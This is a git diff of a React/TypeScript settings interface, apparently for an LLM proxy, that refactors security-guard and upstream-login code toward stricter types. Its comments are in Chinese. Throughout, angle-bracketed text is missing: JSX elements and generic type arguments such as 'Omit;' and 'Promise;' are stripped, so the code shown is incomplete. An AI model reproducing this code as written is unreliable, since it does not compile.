-  onChange: (a: Action) => void;
+  value: RuleAction;
+  onChange: (a: RuleAction) => void;
   /** 内置规则出厂时的处置。改过的话在下面说一句 */
-  factory?: Action | null;
+  factory?: RuleAction | null;
 }) {
   const t = useText(ruleDialogText);
   const lt = useText(securityLabelsText);
@@ -112,7 +101,7 @@ function ActionField({
       label={t.whenEnforced}
       hint={factory && factory !== value ? what + t.factory(lt.ruleActions[factory] ?? factory) : what}
     >
-      
+      
         label={t.whenEnforced}
         value={value}
         options={[
@@ -138,7 +127,7 @@ function TrialBox({
   trial: Trial;
   sample: string;
   /** 标成什么颜色。不给就按每一处自己的处置 */
-  action?: Action;
+  action?: RuleAction;
 }) {
   const t = useText(ruleDialogText);
   if (trial.state === "idle") return null;
@@ -206,13 +195,13 @@ export function RuleDialog({
   const [name, setName] = useState(editing?.id ?? seed?.name ?? "");
   const [pattern, setPattern] = useState(was?.pattern ?? seed?.pattern ?? "");
   // 只有内容过滤能选；别的两项的自定义规则都是正则
-  const [match, setMatch] = useState(
+  const [match, setMatch] = useState(
     guard === "content" ? (was?.match ?? seed?.match ?? "contains") : "regex",
   );
   // 新建的规则默认拦：专门写一条规则，多半就是要拦它
   const acts = hasAction(guard) ? guard : null;
-  const [action, setAction] = useState(
-    asAction(editing?.action) ?? seed?.action ?? (acts ? strong(acts) : "record"),
+  const [action, setAction] = useState(
+    editing?.action ?? seed?.action ?? (acts ? strong(acts) : "record"),
   );
   const [sample, setSample] = useState("");
   const [saving, setSaving] = useState(false);
@@ -275,7 +264,7 @@ export function RuleDialog({
 
           {content && (
             
-              
+              
                 label={t.matchKind}
                 value={match}
                 options={[
@@ -357,20 +346,20 @@ export function BuiltinRuleDialog({
   /** 复制成自定义规则。写不出等价写法的（出站脱敏、隐藏字符）不给 */
   onCopy?: () => void;
   /** 改拦截时的处置。只有工具调用审查和内容过滤的规则有 */
-  onSaveAction: (a: Action) => Promise;
+  onSaveAction: (a: RuleAction) => Promise;
 }) {
   const t = useText(ruleDialogText);
   const lt = useText(securityLabelsText);
   const common = useText(commonText);
   const [sample, setSample] = useState("");
-  const [action, setAction] = useState(asAction(rule.action) ?? "record");
+  const [action, setAction] = useState(rule.action ?? "record");
   const [saving, setSaving] = useState(false);
   const [error, setError] = useState(null);
   const trial = useTrial(guard, sample, { rule: rule.id });
   const why = ruleWhy(rule);
   const written = patternOf(rule);
   const acts = hasAction(guard) ? guard : null;
-  const changed = acts != null && action !== (asAction(rule.action) ?? "record");
+  const changed = acts != null && action !== (rule.action ?? "record");
 
   async function save() {
     setSaving(true);
@@ -410,7 +399,7 @@ export function BuiltinRuleDialog({
               guard={acts}
               value={action}
               onChange={setAction}
-              factory={asAction(rule.default_action) ?? null}
+              factory={rule.default_action ?? null}
             />
           )}
 
diff --git a/src/security/SecurityPage.tsx b/src/security/SecurityPage.tsx
index 99401e6c..87e32ded 100644
--- a/src/security/SecurityPage.tsx
+++ b/src/security/SecurityPage.tsx
@@ -4,7 +4,7 @@ import { RangePicker, useRange, type Range } from "@/ui/range";
 import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/ui/tabs";
 import { useText } from "@/i18n";
 import { errorText } from "@/i18n/core.i18n";
-import { GUARDS, type ConfigWritten, type Guard, type RuleGuard, type SecurityDetail, type SecurityRuleView } from "@/types";
+import { GUARDS, type ConfigWritten, type Guard, type GuardMode, type RuleGuard, type SecurityDetail, type SecurityRuleView } from "@/types";
 import { DeleteDialog } from "@/upstreams/DeleteDialog";
 import { api, hasAction, hasCustom, type CustomGuard, type RuleSave } from "./api";
 import { GuardTab, type RuleActions } from "./GuardTab";
@@ -12,7 +12,7 @@ import { viewName } from "./labels";
 import { securityLabelsText } from "./labels.i18n";
 import { LogTab } from "./LogTab";
 import { OutputLimitTab } from "./OutputLimitTab";
-import { asAction, BuiltinRuleDialog, patternOf, RuleDialog, TestDialog, type RuleSeed } from "./RuleDialog";
+import { BuiltinRuleDialog, patternOf, RuleDialog, TestDialog, type RuleSeed } from "./RuleDialog";
 import { ruleDialogText } from "./RuleDialog.i18n";
 import { securityPageText } from "./SecurityPage.i18n";
 
@@ -146,7 +146,7 @@ export default function SecurityPage({
     );
   }
 
-  function setMode(guard: Guard, mode: string) {
+  function setMode(guard: Guard, mode: GuardMode) {
     patch(guard, (g) => ({ ...g, mode }));
     void write((base) => api.setMode(guard, mode, base));
   }
@@ -172,7 +172,7 @@ export default function SecurityPage({
               name: viewName(guard, r),
               pattern: written?.pattern ?? "",
               match: written?.match,
-              action: asAction(r.action),
+              action: r.action ?? undefined,
             },
           });
         }
diff --git a/src/security/api.ts b/src/security/api.ts
index f2a6b2b1..df9d0b4c 100644
--- a/src/security/api.ts
+++ b/src/security/api.ts
@@ -5,7 +5,15 @@
  * 全在 core。界面多判断一次，就多一处和 core 说法不一致的可能。
  */
 import { call } from "@/control";
-import type { CustomRuleSave, Guard, RuleGuard, SecurityEventsQuery } from "@/types";
+import type {
+  ContentMatch,
+  CustomRuleSave,
+  Guard,
+  GuardMode,
+  RuleAction,
+  RuleGuard,
+  SecurityEventsQuery,
+} from "@/types";
 
 /** 自定义规则保存时带的内容。版本号由页面在写的那一刻补上 */
 export type RuleSave = Omit;
@@ -23,13 +31,13 @@ export const api = {
   detail: () => call("Security", null),
   /** 安全日志的一页。`guard` 不给就是全部；`before` 翻页 */
   events: (q: SecurityEventsQuery) => call("SecurityEvents", q),
-  setMode: (guard: Guard, mode: string, baseVersion: string) =>
+  setMode: (guard: Guard, mode: GuardMode, baseVersion: string) =>
     call("SetSecurityMode", { mode, base_version: baseVersion }, guard),
   /** 启用或停用一条内置规则 */
   toggleBuiltin: (guard: RuleGuard, id: string, enabled: boolean, baseVersion: string) =>
     call("ToggleBuiltinRule", { enabled, base_version: baseVersion }, guard, id),
   /** 一条内置规则在拦截档下做什么 */
-  setAction: (guard: ActionGuard, id: string, action: string, baseVersion: string) =>
+  setAction: (guard: ActionGuard, id: string, action: RuleAction, baseVersion: string) =>
     call("SetBuiltinRuleAction", { action, base_version: baseVersion }, guard, id),
   /** 输出长度的上限，按字符数 */
   setLimit: (maxChars: number, baseVersion: string) =>
@@ -44,6 +52,6 @@ export const api = {
    * 给了 `rule` 就只试这一条内置规则（停用着的也能试），都不给就按现在启用的
    * 全部规则
    */
-  test: (guard: RuleGuard, sample: string, only: { pattern?: string; match?: string; rule?: string } = {}) =>
+  test: (guard: RuleGuard, sample: string, only: { pattern?: string; match?: ContentMatch; rule?: string } = {}) =>
     call("TestSecurity", { sample, ...only }, guard),
 };
diff --git a/src/security/marks.ts b/src/security/marks.ts
index 160c7bc9..e01da860 100644
--- a/src/security/marks.ts
+++ b/src/security/marks.ts
@@ -21,7 +21,6 @@ export function marksFromEvents(
             items: redact.map((e) => ({
               rule: e.rule,
               custom: e.custom === true,
-              kind: "",
               masked: e.excerpt,
               count: e.count,
             })),
diff --git a/src/security/useTrial.ts b/src/security/useTrial.ts
index 95dfb10f..02950bbe 100644
--- a/src/security/useTrial.ts
+++ b/src/security/useTrial.ts
@@ -1,6 +1,6 @@
 import { useEffect, useState } from "react";
 import { errorText } from "@/i18n/core.i18n";
-import type { RuleGuard, SecurityTestHit } from "@/types";
+import type { ContentMatch, RuleGuard, SecurityTestHit } from "@/types";
 import { api } from "./api";
 
 export type Trial =
@@ -21,7 +21,7 @@ export type Trial =
 export function useTrial(
   guard: RuleGuard,
   sample: string,
-  only: { pattern?: string; match?: string; rule?: string },
+  only: { pattern?: string; match?: ContentMatch; rule?: string },
   /** 为 false 时不试（比如正则还是空的） */
   ready = true,
 ): Trial {
diff --git a/src/types.ts b/src/types.ts
index be6c98a3..d2315870 100644
--- a/src/types.ts
+++ b/src/types.ts
@@ -6,12 +6,13 @@
 // 上全靠人记得改两遍。
 //
 // 留在这里的只有界面自己的东西：请求列表的行和把事件缝成行的那几个函数、
-// 概览那一份（Rust 侧 `dashboard` 命令拼的）、金额的写法，以及几个 core 按
-// 字符串发、界面按固定几个值来分支的词的取值范围。
+// 概览那一份（Rust 侧 `dashboard` 命令拼的）、金额的写法，以及几个封闭集合
+// 在运行时要用的全部取值。
 import type {
   CostBucket,
   CostBucketGroup,
   Event,
+  Guard,
   HistoryRow,
   LatencyView,
   Msg,
@@ -30,39 +31,16 @@ export type CoreEvent = Event;
 /** core 的 `/status` */
 export type CoreStatus = Status;
 
-// ─── core 按字符串发的词，界面按这几个值分支 ───
+// ─── 几个封闭集合的全部取值 ───
 //
-// 协议里它们是 `string`。界面只认下面这些值：多出来的值照原样显示，不会
-// 让哪一段代码走错分支。
+// 类型本身在协议里（`slug_enum!` 导出的字符串联合），这里只补界面要在运行时
+// 遍历的取值，和「有规则表的那几项」这一个子集。
 
-/** `done` 之外都不会留下上游 */
-export type LoginStatus = "pending" | "done" | "failed" | "expired" | "cancelled";
-
-/** 一版配置是谁写的 */
-export type ConfigOrigin = "ui" | "cli" | "external" | "rollback" | "rotation";
-
-/** 在哪台设备上授权：这台机器的浏览器，还是把码输到另一台设备上 */
-export type ChatgptLoginMode = "browser" | "device";
-
-/** 登哪一家的账号 */
-export type ZaiFamily = "zai" | "bigmodel";
-
-/** 策略组按什么排候选，配置里 `type` 写的那个词 */
-export type GroupKind = "fallback" | "select" | "load-balance" | "url-test" | "cheapest";
-const GROUP_KINDS: readonly string[] = ["fallback", "select", "load-balance", "url-test", "cheapest"];
-export const isGroupKind = (s: string): s is GroupKind => GROUP_KINDS.includes(s);
-
-/** 各项防护在配置里的键，也是接口路径里的那一段 */
-export type Guard = "redact" | "inspect_tools" | "hidden_text" | "content" | "output_limit";
 export const GUARDS: readonly Guard[] = ["redact", "inspect_tools", "hidden_text", "content", "output_limit"];
-export const isGuard = (s: string): s is Guard => (GUARDS as readonly string[]).includes(s);
 
 /** 有规则表的那几项。输出长度只有一个上限 */
 export type RuleGuard = Exclude;
-export const isRuleGuard = (s: string): s is RuleGuard => isGuard(s) && s !== "output_limit";
-
-/** 改动什么时候生效：`immediately` 下一个请求；`on_restart` 客户端重新启动后 */
-export type TakesEffect = "immediately" | "on_restart";
+export const isRuleGuard = (g: Guard): g is RuleGuard => g !== "output_limit";
 
 /** 命中了工具调用规则的一个调用 */
 export interface FlaggedCall {
@@ -117,8 +95,13 @@ export interface RequestRow {
   /** 失败的原因。**存的是 core 发来的那条消息，不是一句话** —— 语言
    * 是在画的时候才定的，存成句子的话换了语言它不会跟着换 */
   error?: Msg;
-  /** 出站脱敏在这次请求里找到的东西（已打码），以及换没换 */
-  secrets?: { replaced: boolean; items: SecretItem[] };
+  /**
+   * 出站脱敏在这次请求里找到的东西（已打码），以及换没换。
+   *
+   * **不带类别。**翻历史时是从安全日志拼回来的，日志里没有类别；徽标也只用
+   * 规则名和次数
+   */
+  secrets?: { replaced: boolean; items: Omit[] };
   /** 做过格式转换的话，转成了什么、丢了什么 */
   translated?: TranslatedView;
   /** 命中了工具调用规则的调用 */
diff --git a/src/upstreams/ChatgptAccountSection.tsx b/src/upstreams/ChatgptAccountSection.tsx
index 8aa82f6a..3cfbbc9f 100644
--- a/src/upstreams/ChatgptAccountSection.tsx
+++ b/src/upstreams/ChatgptAccountSection.tsx
@@ -23,7 +23,7 @@ import { useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
 import { api } from "./api";
 import { chatgptAccountText } from "./ChatgptAccountSection.i18n";
-import { errorText, planLabel, proxyKindLabel, quotaWindowLabel } from "./labels";
+import { coreText, errorText, planLabel, proxyKindLabel, quotaWindowLabel } from "./labels";
 import { FormItem } from "./parts";
 import type { UpstreamForm } from "./upstreamForm";
 
@@ -271,7 +271,7 @@ function LoginBox({
             {planLabel(plan) && !broken && ` · ${planLabel(plan)}`}
           

           {broken ? (
-            
{oauth?.failure ?? t.needsLogin}

+            
{oauth?.failure ? coreText(oauth.failure) : t.needsLogin}

           ) : (
             left && 
{t.credentialExpires(left)}

           )}
diff --git a/src/upstreams/ChatgptLoginDialog.tsx b/src/upstreams/ChatgptLoginDialog.tsx
index ec3518f5..8c67ccff 100644
--- a/src/upstreams/ChatgptLoginDialog.tsx
+++ b/src/upstreams/ChatgptLoginDialog.tsx
@@ -21,7 +21,7 @@ import { textOf, useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
 import { api } from "./api";
 import { chatgptLoginText } from "./ChatgptLoginDialog.i18n";
-import { errorText, proxyKindLabel, shortUrl } from "./labels";
+import { coreText, errorText, proxyKindLabel, shortUrl } from "./labels";
 import { FormItem } from "./parts";
 import { freeName } from "./upstreamForm";
 
@@ -89,7 +89,7 @@ export function ChatgptLoginDialog({
     }
     setPhase({ at: "form" });
     const text = textOf(chatgptLoginText);
-    setError(s.error ?? (s.status === "expired" ? text.expired : text.cancelled));
+    setError(s.error ? coreText(s.error) : s.status === "expired" ? text.expired : text.cancelled);
   }
 
   // 结果由 core 发事件，不必一直问；问一遍是为了事件漏掉时也能收尾
diff --git a/src/upstreams/ConnectionSection.tsx b/src/upstreams/ConnectionSection.tsx
index 243ef29a..4d6e8c00 100644
--- a/src/upstreams/ConnectionSection.tsx
+++ b/src/upstreams/ConnectionSection.tsx
@@ -11,6 +11,7 @@ import {
   AUTH_MODES,
   PROTOCOLS,
   authHeaderParts,
+  coreText,
   egressLabel,
   protocolLabel,
   proxyKindLabel,
@@ -210,7 +211,7 @@ export function ConnectionSection({
             className="w-full"
             value={form.onProxyFail}
             disabled={form.proxy === "direct"}
-            onChange={(e) => set({ onProxyFail: e.target.value })}
+            onChange={(e) => set({ onProxyFail: e.target.value === "direct" ? "direct" : "fail" })}
           >
             {t.failWithError}
             {t.fallBackDirect}
@@ -246,7 +247,7 @@ function ProtocolSelect({
       id="up-protocol"
       className="w-full"
       value={form.protocol}
-      onChange={(e) => set({ protocol: e.target.value })}
+      onChange={(e) => set({ protocol: PROTOCOLS.find((p) => p.id === e.target.value)?.id ?? "" })}
     >
       {auto}
       {PROTOCOLS.map((p) => (
@@ -425,7 +426,7 @@ export function TestLine({ result }: { result: ProviderTestResult }) {
         
         

           {t.failed}
-          {result.error && {result.error}}
+          {result.error && {coreText(result.error)}}
         

       

     );
diff --git a/src/upstreams/ModelsPanel.i18n.ts b/src/upstreams/ModelsPanel.i18n.ts
index 6af0b29d..3940437a 100644
--- a/src/upstreams/ModelsPanel.i18n.ts
+++ b/src/upstreams/ModelsPanel.i18n.ts
@@ -10,7 +10,7 @@ export const modelsPanelText = messages(
     unreachable: "未能连接上游。",
     editUpstream: "编辑上游…",
     usingManual: (n: number) => `暂用手动清单中的 ${n} 个模型。`,
-    noList: (reason: string) => `${reason}。可填写手动清单，列出此上游提供的模型。`,
+    noList: (reason: string) => `${reason.replace(/[。.]$/, "")}。可填写手动清单，列出此上游提供的模型。`,
     noListReason: "上游未提供模型列表",
     fillManual: "填写手动清单…",
     filter: "筛选模型",
@@ -41,7 +41,7 @@ export const modelsPanelText = messages(
       n === 1
         ? "Using the 1 model in the manual list for now."
         : `Using the ${n} models in the manual list for now.`,
-    noList: (reason: string) => `${reason}. A manual list can name the models this upstream serves.`,
+    noList: (reason: string) => `${reason.replace(/[。.]$/, "")}. A manual list can name the models this upstream serves.`,
     noListReason: "The upstream does not provide a model list",
     fillManual: "Enter a manual list…",
     filter: "Filter models",
diff --git a/src/upstreams/ModelsPanel.tsx b/src/upstreams/ModelsPanel.tsx
index 8c0ce6a2..e191c1d1 100644
--- a/src/upstreams/ModelsPanel.tsx
+++ b/src/upstreams/ModelsPanel.tsx
@@ -8,7 +8,7 @@ import { textOf, useText } from "@/i18n";
 import { commonText } from "@/i18n/common.i18n";
 import type { ModelRow, ProviderModelsView, ProviderView } from "@/types";
 import { api } from "./api";
-import { contextWindow, errorText, perMillion } from "./labels";
+import { contextWindow, coreText, errorText, perMillion } from "./labels";
 import { modelsPanelText } from "./ModelsPanel.i18n";
 
 /** 列表长过这个数才给筛选框。十来个一眼就扫完了 */
@@ -81,6 +81,7 @@ export function ModelsPanel({
   const status = view?.status ?? p.model_status;
   const source = view?.source ?? p.model_source;
   const error = view?.error ?? p.model_error;
+  const why = error ? coreText(error) : null;
 
   return (
     

@@ -113,7 +114,7 @@ export function ModelsPanel({
           {status === "failed" && (